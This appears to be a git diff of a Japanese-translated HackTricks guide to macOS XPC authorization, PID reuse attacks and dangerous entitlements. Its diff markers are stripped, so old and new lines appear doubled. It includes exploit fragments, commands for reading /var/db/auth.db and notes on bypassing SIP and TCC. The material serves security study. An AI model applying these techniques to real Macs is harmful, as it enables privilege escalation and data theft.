3. Setting up event handlers for the connection using `xpc_connection_set_event_handler()`.
3. Setting up the message to be sent to the server.
`xpc_connection_set_event_handler()`を使用して接続のイベントハンドラを設定する
サーバーに送信するメッセージの設定
4. Sending requests to the server using `xpc_connection_send_message()`.
4. Sending the message to the server.
`xpc_connection_send_message()`を使用してサーバーにリクエストを送信する
サーバーにメッセージを送信
5. Handling responses from the server in the event handler.
5. Handling the response from the server.
イベントハンドラでサーバーからのレスポンスを処理する
サーバーからのレスポンスの処理
6. Releasing the XPC connection using `xpc_release()` when done.
6. Cleaning up and closing the XPC connection.
終了時に`xpc_release()`を使用してXPC接続を解放する
XPC接続のクリーンアップとクローズ
By understanding the client code inside the Dylb, you can gain insights into how the communication between processes is established and how requests are sent and received. This knowledge can be valuable for analyzing and securing inter-process communication in macOS.
By following these steps, the client can effectively communicate with the server and exchange information securely.
Dylb内のクライアントコードを理解することで、プロセス間の通信がどのように確立され、リクエストがどのように送受信されるかについての洞察を得ることができます。この知識は、macOSにおけるプロセス間通信の分析とセキュリティ確保に役立ちます。
これらの手順に従うことで、クライアントはサーバーと効果的に通信し、安全に情報をやり取りすることができます。
```objectivec
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
// gcc injection example:

View file

@ -16,7 +16,7 @@
Appleは、接続するプロセスが**公開されたXPCメソッドを呼び出す権限**を持っているかどうかを認証する別の方法も提案しています。
アプリケーションが**特権ユーザーとしてアクションを実行する必要がある**場合、通常は特権ユーザーとしてアプリを実行する代わりに、XPCサービスとしてHelperToolをrootとしてインストールします。ただし、サービスを呼び出すアプリは十分な認証を持っている必要があります。
アプリケーションが**特権ユーザーとしてアクションを実行する必要がある**場合、通常は特権ユーザーとしてアプリを実行する代わりに、XPCサービスとしてHelperToolをrootとしてインストールします。ただし、サービスを呼び出すアプリは十分な認証を持っている必要があります。
### ShouldAcceptNewConnection は常に YES
@ -37,7 +37,7 @@ newConnection.exportedObject = self;
return YES;
}
```
詳しい設定方法については、次のチェックを適切に構成する方法に関する情報を参照してください:
詳しい設定方法については、次のチェックを適切に設定する方法に関する情報を参照してください:
{% content-ref url="macos-xpc-connecting-process-check/" %}
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
@ -45,7 +45,7 @@ return YES;
### アプリケーションの権限
ただし、**HelperToolからメソッドが呼び出される際には、いくつかの認可が行われます**。
ただし、HelperToolからメソッドが呼び出される際には、**認可が行われています**。
`App/AppDelegate.m`の`applicationDidFinishLaunching`関数は、アプリが起動した後に空の認可参照を作成します。これは常に機能するはずです。\
その後、`setupAuthorizationRights`を呼び出して、その認可参照にいくつかの権限を追加しようとします。
@ -184,13 +184,13 @@ block(authRightName, authRightDefault, authRightDesc);
```
このプロセスの最後には、`commandInfo`内で宣言された権限が`/var/db/auth.db`に保存されます。各メソッドごとに、**認証が必要な**権限名と**`kCommandKeyAuthRightDefault`**が含まれていることに注目してください。後者は、**この権限を取得できるユーザー**を示しています。
権限にアクセスできるユーザーを示すためさまざまなスコープがあります。それらの一部は[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべてを見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
権限にアクセスできるユーザーを示すために、さまざまなスコープがあります。それらの一部は[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)で定義されています([ここですべてを見つけることができます](https://www.dssw.co.uk/reference/authorization-rights/))。要約すると:
<table><thead><tr><th width="284.3333333333333">名前</th><th width="165"></th><th>説明</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>誰でも</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>誰も</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>現在のユーザーは管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>ユーザーに認証を求めます。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>ユーザーに認証を求めます。彼は管理者である必要があります(管理者グループ内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>ルールを指定します</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>権限に関する追加のコメントを指定します</td></tr></tbody></table>
### 権限の検証
`HelperTool/HelperTool.m`の関数**`readLicenseKeyAuthorization`**は、呼び出し元が**そのメソッドを実行する権限を持っているかどうか**を確認するために、**`checkAuthorization`**関数を呼び出します。この関数は、呼び出し元プロセスが送信した**authData**が**正しい形式**であるかをチェックし、その後、特定のメソッドを呼び出すために**どの権限が必要か**をチェックします。すべてがうまくいけば、**返される`error`は`nil`**になります。
`HelperTool/HelperTool.m`の関数**`readLicenseKeyAuthorization`**は、呼び出し元が**そのメソッドを実行する権限を持っているかどうか**を確認するために、関数**`checkAuthorization`**を呼び出します。この関数は、呼び出し元プロセスが送信した**authData**が**正しい形式**であるかをチェックし、その後、特定のメソッドを呼び出すために**どの権限が必要か**をチェックします。すべてがうまくいけば、**返される`error`は`nil`**になります。
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -244,7 +244,7 @@ return error;
### DB情報
この情報は`/var/db/auth.db`に保存されていると述べられています。次のコマンドで保存されているすべてのルールをリストアップできます。
この情報は`/var/db/auth.db`に保存されていると述べられています。次のコマンドで保存されているすべてのルールをリストアップすることができます。
```sql
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
@ -263,15 +263,15 @@ security authorizationdb read com.apple.safaridriver.allow
* これは、以下の2つのいずれかと組み合わせて使用するか、ユーザーが所属するグループを示すために使用されます。
2. **'allow-root': 'true'**
* ユーザーがルートユーザーとして操作している場合(昇格された権限を持つ)、かつこのキーが`true`に設定されている場合、ルートユーザーは追加の認証なしでこの権限を取得する可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要なため、ほとんどのユーザーにとってこれは「認証なし」のシナリオではありません。
* ユーザーがルートユーザーとして操作している場合(昇格された権限を持つユーザー)、このキーが`true`に設定されている場合、ルートユーザーは追加の認証なしでこの権限を取得する可能性があります。ただし、通常、ルートユーザーの状態に到達するにはすでに認証が必要なため、ほとんどのユーザーにとってこれは「認証なし」のシナリオではありません。
3. **'session-owner': 'true'**
* `true`に設定されている場合、セッションの所有者(現在ログインしているユーザー)は自動的にこの権限を取得します。ユーザーがすでにログインしている場合、これにより追加の認証がバイパスされる場合があります。
4. **'shared': 'true'**
* このキーは認証なしで権限を付与するものではありません。代わりに、`true`に設定されている場合、権限が認証された後、複数のプロセス間で共有できることを意味します。ただし、権限の最初の付与には認証が必要です。ただし、'authenticate-user': 'false'などの他のキーと組み合わせる場合は、認証が必要ありません
* このキーは認証なしで権限を付与するものではありません。代わりに、`true`に設定されている場合、権限が認証された後、複数のプロセス間で共有することができます。ただし、権限の最初の付与には認証が必要です('authenticate-user': 'false'などの他のキーと組み合わせている場合を除く)
興味深い権限を取得するためには、[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます
興味深い権限を取得するためには、[**このスクリプト**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)を使用できます
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@ -279,7 +279,6 @@ is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-develo
Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
```
@ -303,7 +302,7 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
<figure><img src="../../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
この場合、EvenBetterAuthorizationSample と同じものがあります[**この行をチェックしてください**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
この場合、EvenBetterAuthorizationSample と同じものがあります[**この行をチェックしてください**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
使用されているプロトコルの名前を知ることで、そのヘッダ定義を **ダンプ** することができます。
```bash

View file

@ -23,9 +23,9 @@ XPC サービスへの接続が確立されると、サーバーは接続が許
3. 接続するプロセスが**適切なバンドル ID**を持っているかどうかをチェックします。
* これが**検証されていない**場合、同じ組織によって署名された**任意のツール**を使用して XPC サービスとやり取りすることができます。
4. (4 または 5) 接続するプロセスが**適切なソフトウェアバージョン番号**を持っているかどうかをチェックします。
* これが**検証されていない**場合、他のチェックが行われていても、古いセキュリティの脆弱性を持つクライアントがプロセスインジェクションに対して脆弱であるため、XPC サービスに接続することができます。
5. (4 または 5) 接続するプロセスが危険な権限(任意のライブラリを読み込むことや DYLD 環境変数を使用することを許可する権限など)を持たない、ハード化されたランタイムを持っているかどうかをチェックします。
* これが**検証されていない**場合、クライアントは**コードインジェクションの脆弱性**に対して脆弱になる可能性があります。
* これが**検証されていない**場合、他のチェックが行われていても、古いセキュリティの脆弱性を持つクライアントがプロセスインジェクションに対して脆弱である可能性があります。
5. (4 または 5) 接続するプロセスが危険な権限(任意のライブラリを読み込むことや DYLD 環境変数を使用することを許可する権限など)を持たない、化されたランタイムを持っているかどうかをチェックします。
* これが**検証されていない**場合、クライアントは**コードインジェクションの脆弱性**に対して脆弱である可能性があります。
6. 接続するプロセスがサービスに接続するための**エンタイトルメント**を持っているかどうかをチェックします。これは Apple のバイナリに適用されます。
7. **検証**は、接続する**クライアントの監査トークン**に基づいて行われる必要があります。プロセス IDPIDではなく、監査トークンを使用することで、PID の再利用攻撃を防ぐことができます。
* 開発者は監査トークン API 呼び出しを**ほとんど使用しない**ため、Apple はいつでも変更できます。また、Mac App Store アプリではプライベート API の使用は許可されていません。
@ -47,7 +47,7 @@ PID の再利用攻撃についての詳細は次を参照してください:
### Trustcache - ダウングレード攻撃の防止
Trustcache は、Apple Silicon マシンに導入された防御手法であり、Apple のバイナリの CDHSAH のデータベースを格納し、変更されていない許可されたバイナリのみが実行されるようにします。これにより、ダウングレードバージョンの実行を防止します。
Trustcache は、Apple Silicon マシンに導入された防御手法であり、Apple のバイナリの CDHSAH のデータベースを格納し、変更されていない許可されたバイナリのみが実行されるようにします。これにより、ダウングレードバージョンの実行が防止されます。
### コード例
@ -111,10 +111,10 @@ return Yes; // Accept connection
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有する、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>

View file

@ -6,7 +6,7 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
@ -14,14 +14,14 @@
## PID再利用
macOSの**XPCサービス**が**PID**ではなく**監査トークン**に基づいて呼び出されたプロセスをチェックしている場合、PID再利用攻撃の脆弱性があります。この攻撃は、**エクスプロイト**が機能を悪用して**XPCサービスにメッセージを送信**し、その後で**`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**を実行することによって行われます。
macOSの**XPCサービス**が**PID**ではなく**監査トークン**に基づいて呼び出されたプロセスをチェックしている場合、PID再利用攻撃の脆弱性があります。この攻撃は、**エクスプロイト**が機能を悪用して**XPCサービスにメッセージを送信**し、その後で**`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`**を実行すること行われます。
この関数により、**許可されたバイナリがPIDを所有**しますが、**悪意のあるXPCメッセージは**それよりも**前に送信されている**可能性があります。したがって、**XPC**サービスが**PID**を使用して送信元を**認証**し、**`posix_spawn`**の実行**後**にチェックする場合、それは**認証済み**のプロセスから来たと思うでしょう。
### エクスプロイトの例
関数**`shouldAcceptNewConnection`**またはそれを呼び出す関数が**`processIdentifier`**を呼び出しており、**`auditToken`**を呼び出していない場合、それはおそらくプロセスのPIDを検証していることを意味します。\
たとえば、この画像(参照から取得)のように:
たとえば、この参照から取得した画像のように:
<figure><img src="../../../../../../.gitbook/assets/image (4) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
@ -31,7 +31,7 @@ macOSの**XPCサービス**が**PID**ではなく**監査トークン**に基づ
* 各フォークは、メッセージをXPCサービスに**送信**しながら、メッセージを送信した直後に**`posix_spawn`**を実行します。
{% hint style="danger" %}
エクスプロイトが機能するためには、**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`**をエクスポートするか、エクスプロイトに追加することが重要です。
エクスプロイトが機能するためには、`export`` `**`OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES`**を設定するか、エクスプロイト内に以下を記述することが重要です。
```objectivec
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
@ -41,7 +41,7 @@ asm(".section __DATA,__objc_fork_ok\n"
{% tabs %}
{% tab title="NSTasks" %}
最初のオプションは、**`NSTasks`**と引数を使用して子プロセスを起動し、RCを悪用する方法です。
最初のオプションは、**`NSTasks`** を使用して子プロセスを起動し、RCを悪用する方法です。
```objectivec
// from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl
@ -293,10 +293,10 @@ return 0;
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>

View file

@ -5,9 +5,9 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
@ -26,17 +26,17 @@
権限**`com.apple.rootless.install`**は**SIPをバイパス**することができます。詳細については[こちらを参照してください](macos-sip.md#com.apple.rootless.install)。
### **`com.apple.system-task-ports`(以前は`task_for_pid-allow`と呼ばれていました)**
### **`com.apple.system-task-ports` (以前は `task_for_pid-allow`)**
この権限は、**カーネルを除く**すべてのプロセスの**タスクポートを取得**することができます。詳細については[**こちらを参照してください**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
この権限は、カーネルを除く**任意の**プロセスの**タスクポートを取得**することができます。詳細については[**こちらを参照してください**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
### `com.apple.security.get-task-allow`
この権限は、**`com.apple.security.cs.debugger`**権限を持つ他のプロセスが、この権限を持つバイナリで実行されるプロセスのタスクポートを取得し、**コードを注入**することができます。詳細については[**こちらを参照してください**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
この権限は、**`com.apple.security.cs.debugger`**権限を持つ他のプロセスが、この権限を持つバイナリで実行されるプロセスのタスクポートを取得し、それにコードを注入することができます。詳細については[**こちらを参照してください**](../mac-os-architecture/macos-ipc-inter-process-communication/)。
### `com.apple.security.cs.debugger`
デバッグツール権限を持つアプリは、`Get Task Allow`権限が`true`に設定された未署名のサードパーティアプリに対して`task_for_pid()`を呼び出して有効なタスクポートを取得することができます。ただし、デバッグツール権限を持っていても、デバッガは**`Get Task Allow`権限を持たないプロセスのタスクポート**を取得することはできません。したがって、これらのプロセスはシステム整合性保護によって保護されています。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
デバッグツール権限を持つアプリは、`Get Task Allow`権限が`true`に設定された署名されていないサードパーティアプリに対して、`task_for_pid()`を呼び出して有効なタスクポートを取得することができます。ただし、デバッグツール権限を持っていても、デバッガは**`Get Task Allow`権限を持たないプロセスのタスクポート**を取得することはできません。したがって、これらのプロセスはシステム整合性保護によって保護されています。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger)。
### `com.apple.security.cs.disable-library-validation`
@ -44,34 +44,42 @@
### `com.apple.private.security.clear-library-validation`
この権限は、**`com.apple.security.cs.disable-library-validation`**と非常に似ていますが、**ライブラリの検証を直接無効にする**代わりに、プロセスが**`csops`システムコールを呼び出して無効にする**ことができます。詳細については[**こちらを参照してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
この権限は、**`com.apple.security.cs.disable-library-validation`**と非常に似ていますが、**ライブラリの検証を直接無効にする**代わりに、プロセスがそれを無効にするために`csops`システムコールを呼び出すことができるようにします。詳細については[**こちらを参照してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
### `com.apple.security.cs.allow-dyld-environment-variables`
この権限は、ライブラリやコードを注入するために使用される可能性のある**DYLD環境変数**を使用することができます。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
この権限は、ライブラリやコードを注入するために使用される可能性のある**DYLD環境変数**の使用を許可します。詳細については[**こちらを参照してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)。
### `com.apple.private.tcc.manager`および`com.apple.rootless.storage`.`TCC`
### `com.apple.private.tcc.manager``com.apple.rootless.storage`.`TCC`
[**このブログによると**](https://objective-see.org/blog/blog\_0x4C.html)、これらの権限は**TCC**データベースを**変更**することを許可します。
### **`system.install.apple-software`**および**`system.install.apple-software.standar-user`**
### **`system.install.apple-software`****`system.install.apple-software.standar-user`**
これらの権限は、ユーザーの許可を求めることなくソフトウェアを**インストール**することができます。これは特権エスカレーションに役立ちます。
### `com.apple.private.security.kext-management`
カーネル拡張をロードするために必要な権限です。
カーネルにカーネル拡張をロードするために必要な権限です。
### **`com.apple.private.icloud-account-access`**
権限**`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信し、iCloudトークンを提供することができます。
**iMovie**と**Garageband**にはこの権限があります。
この権限から**icloudトークンを取得する**エクスプロイトについての詳細は、次のトークを参照してください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
TODO: これが何を許可するかわかりません
TODO: これが何を許可するかわかりません
### `com.apple.private.apfs.revert-to-snapshot`
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があると記載されています。詳細がわかる場合は、PRを送信してください
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **によると、これは**再起動後にSSVで保護されたコンテンツを更新するために使用できると言われています。方法を知っている場合は、PRを送ってください
### `com.apple.private.apfs.create-sealed-snapshot`
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **には、再起動後にSSVで保護されたコンテンツを更新するために使用できる可能性があると述べられています。PRを送信する方法を知っている場合は、お知らせください**
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **によると、これは**再起動後にSSVで保護されたコンテンツを更新するために使用できると言われています。方法を知っている場合は、PRを送ってください
### `keychain-access-groups`
@ -92,15 +100,15 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
### **`kTCCServiceAppleEvents`**
アプリが他のアプリケーションにイベントを送信することを許可します。これは一般的にタスクの自動化に使用されるアプリケーションに対して行われます。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
アプリが他のアプリケーションにイベントを送信することを許可します。これは一般的に**タスクの自動化**に使用される他のアプリケーションに対して権限を悪用することができます。
### **`kTCCServiceSystemPolicySysAdminFiles`**
ユーザーの`NFSHomeDirectory`属性を変更することを許可します。これにより、ユーザーのホームフォルダを変更し、TCCをバイパスすることができます。
ユーザーの**ホームフォルダを変更**するための`NFSHomeDirectory`属性を変更することができ、それによりTCCを**バイパス**することができます。
### **`kTCCServiceSystemPolicyAppBundles`**
アプリのバンドル内のファイルapp.app内を変更することを許可します。これはデフォルトでは許可されていません
アプリのバンドル内app.app内のファイルを変更することができますが、これはデフォルトでは**許可されていません**
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
@ -108,19 +116,19 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
### `com.apple.security.cs.allow-jit`
